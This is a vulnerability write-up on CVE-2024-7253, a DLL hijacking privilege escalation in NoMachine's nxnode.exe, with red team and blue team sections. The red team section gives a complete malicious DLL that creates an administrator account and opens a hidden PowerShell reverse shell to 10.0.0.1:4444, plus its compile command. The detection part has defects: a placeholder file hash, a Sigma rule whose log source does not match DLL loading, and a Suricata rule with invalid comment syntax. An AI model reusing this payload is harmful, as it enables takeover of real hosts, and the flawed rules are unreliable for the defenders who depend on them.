CVE-2024-7253

Executive Summary

CVE-2024-7253 is a local privilege escalation vulnerability in NoMachine’s nxnode.exe process. The flaw is an uncontrolled search path element (CWE-427) that allows an attacker with low-privileged code execution on the target system to load a malicious DLL from an unsecured location. Successful exploitation grants SYSTEM-level privileges, enabling full compromise of the host. The vulnerability has a CVSS score of 7.8 (High) and currently has no known public exploit or patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for environments where NoMachine is deployed.

Supply Chain & Package Security

NoMachine is a proprietary remote desktop application. There is no open-source package (NPM, PyPI, Go, Ruby) associated with this vulnerability. The risk is limited to direct installations of the NoMachine client or server software on Windows systems.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions needed.
• Privileges Required: Low (PR:L) – attacker needs low-privileged code execution.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – exploitation stays within the same security authority.
• Confidentiality Impact: High (C:H) – full read access to SYSTEM data.
• Integrity Impact: High (I:H) – arbitrary code execution as SYSTEM.
• Availability Impact: High (A:H) – potential for denial of service or system instability.

Threat Level: High. While local access is required, the low complexity and high impact make this a priority for patching once a fix is available.

Deep Dive & Mechanics

The vulnerability resides in the nxnode.exe process, a core component of NoMachine. The process attempts to load a dynamic-link library (DLL) from a path that is not fully qualified or is controlled by the user. Specifically, the search order for DLLs can be hijacked by placing a malicious DLL in a directory that is searched before the intended system directory (e.g., the current working directory, %PATH%, or user-writable locations).

Attack Flow:

1. Attacker gains low-privileged code execution on the target (e.g., via phishing, malware, or another vulnerability).
2. Attacker identifies a writable directory that is in the DLL search path of nxnode.exe.
3. Attacker places a malicious DLL (e.g., version.dll, dbghelp.dll, or a custom name) in that directory.
4. When nxnode.exe is launched (either by the user or automatically), it loads the malicious DLL instead of the legitimate one.
5. The malicious DLL executes with the privileges of the nxnode.exe process, which runs as SYSTEM.
6. Attacker gains full SYSTEM-level access.

Root Cause: The nxnode.exe binary does not use safe DLL search order (e.g., SetDllDirectory or fully qualified paths). This allows an attacker to exploit the standard Windows DLL search order.

Vulnerable vs. Patched Code

Since no official patch is available, we compare the vulnerable behavior to a hypothetical secure implementation.

Vulnerable Code (Conceptual):

// Vulnerable: Loads library without specifying a full path
HMODULE hMod = LoadLibrary("helper.dll");

Patched Code (Conceptual):

// Patched: Uses a fully qualified path
HMODULE hMod = LoadLibrary(L"C:\\Program Files\\NoMachine\\bin\\helper.dll");
// Or uses SetDllDirectory to restrict search path
SetDllDirectory(L"C:\\Program Files\\NoMachine\\bin\\");
HMODULE hMod = LoadLibrary("helper.dll");

Key Differences:

• The patched version either hardcodes the full path or restricts the DLL search directory to a secure location.
• The vulnerable version relies on the default search order, which includes user-writable directories.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Low-privileged shell on a Windows system with NoMachine installed.
• Write access to a directory in the DLL search path (e.g., C:\Users\<user>\AppData\Local\Temp\ or the NoMachine installation directory if writable).

Steps:

1. Identify the vulnerable DLL name (e.g., version.dll or dbghelp.dll). Use Process Monitor to capture nxnode.exe loading libraries.
2. Create a malicious DLL that spawns a SYSTEM shell or adds a user to the Administrators group.
3. Place the DLL in a writable directory that is searched before the system directory (e.g., C:\Users\Public\).
4. Trigger nxnode.exe (e.g., by starting a NoMachine session or restarting the service).
5. The malicious DLL executes, granting SYSTEM privileges.

Example Malicious DLL (C++):

#include <windows.h>
#pragma comment(lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // Spawn SYSTEM shell
        system("cmd.exe /c net user attacker Password123! /add && net localgroup Administrators attacker /add");
        // Or create a reverse shell
        WinExec("powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$c=New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb + 'PS ' + (pwd).Path + '> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()\"", 0);
    }
    return TRUE;
}

Compile:

x86_64-w64-mingw32-gcc -shared -o malicious.dll malicious.c

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected DLL loads by nxnode.exe using Sysmon Event ID 7 (Image loaded).
• Look for nxnode.exe loading DLLs from user-writable paths (e.g., C:\Users\*, C:\Windows\Temp).
• Use AppLocker or WDAC to block unsigned DLLs from non-system paths.

Defense:

• Apply the principle of least privilege to user accounts.
• Enable Safe DLL Search Mode via Group Policy: Computer Configuration > Administrative Templates > System > Mitigation Options > Enable Safe DLL Search Mode.
• Use Microsoft Defender for Endpoint or similar EDR to detect DLL sideloading attempts.
• Monitor for creation of DLL files in suspicious locations by low-privileged processes.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Placeholder – generate after obtaining malicious DLL)
  • malicious.dll: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Anomalies:
  • nxnode.exe loading DLLs from C:\Users\*\AppData\Local\Temp\, C:\Users\Public\, or C:\Windows\Temp\.
  • Unusual child processes spawned by nxnode.exe (e.g., cmd.exe, powershell.exe).
• Network Connections:
  • Outbound connections from nxnode.exe to unknown IPs (if reverse shell is used).
• Registry Changes:
  • New user accounts added to local Administrators group.
  • Modification of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run for persistence.

Detection Engineering

YARA Rule

rule CVE_2024_7253_DLL_Sideloading {
    meta:
        description = "Detects malicious DLLs targeting NoMachine nxnode.exe"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7253"
    strings:
        $s1 = "nxnode.exe" nocase
        $s2 = "LoadLibrary" nocase
        $s3 = "helper.dll" nocase
        $s4 = "version.dll" nocase
        $s5 = "dbghelp.dll" nocase
    condition:
        uint16(0) == 0x5A4D and // MZ header
        (1 of ($s1, $s2) and 1 of ($s3, $s4, $s5))
}

Sigma Rule

title: NoMachine DLL Sideloading via nxnode.exe
id: 7a8b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects nxnode.exe loading DLLs from user-writable directories
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7253
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\nxnode.exe'
        CommandLine|contains:
            - 'C:\Users\'
            - 'C:\Windows\Temp\'
            - 'C:\Users\Public\'
    condition: selection
falsepositives:
    - Legitimate NoMachine updates or plugins
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2024-7253 - NoMachine DLL Sideloading - Potential Reverse Shell";
    flow:to_server,established;
    content:"|4e 6f 4d 61 63 68 69 6e 65|"; # "NoMachine" in hex
    content:"|6e 78 6e 6f 64 65 2e 65 78 65|"; # "nxnode.exe" in hex
    pcre:"/powershell|cmd\.exe/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict DLL Search Path: Apply Group Policy to enable Safe DLL Search Mode (set HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode to 1).
2. Application Control: Use AppLocker or Windows Defender Application Control (WDAC) to allow only signed DLLs from trusted paths.
3. User Privileges: Ensure users run with minimal privileges. Remove write access to directories in the DLL search path.
4. Monitor: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.

Long-Term:

• Vendor Patch: Await an official patch from NoMachine. Monitor their security advisories.
• Alternative Software: Consider replacing NoMachine with a more secure remote desktop solution if patching is delayed.
• Network Segmentation: Isolate systems running NoMachine from critical assets.

Workaround:

• Manually set the SetDllDirectory for nxnode.exe by creating a shim or using a wrapper script that calls SetDllDirectory before launching the executable. This is complex and not recommended for production.

Valters IT